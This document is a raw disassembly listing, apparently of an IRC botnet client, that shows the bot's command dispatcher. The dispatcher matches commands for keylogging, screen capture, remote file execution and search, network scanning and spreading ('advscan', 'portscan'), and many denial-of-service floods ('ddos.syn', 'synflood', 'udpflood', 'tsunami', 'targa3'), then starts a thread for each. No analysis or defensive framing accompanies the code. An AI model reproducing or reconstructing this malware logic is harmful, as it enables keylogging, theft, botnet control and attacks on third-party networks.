		lea	eax, [ebp+var_2C4]
		push	offset unk_42B120
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405D82


loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------


loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42B0E4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B074
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B04C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B020
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	loc_40828B
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset dword_42AFEC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFB4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AF94
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF48
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF1C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AEFC
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------


loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]


loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AED8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40600E


loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------


loc_40600E:				; CODE XREF: sub_401ACD+4529j
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset dword_42AE9C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB044, ebx
		jz	short loc_40604E
		cmp	dword_4CB06C, ebx
		jz	short loc_40604E
		push	offset unk_42AE60
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------


loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE34
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE14
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1


loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx


loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------


loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADCC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADAC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2


loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42AD84
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD38
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD1C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09


loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4067C5


loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------


loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset unk_42AB8C
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB44
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4068F2


loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------


loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset dword_42AB08
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
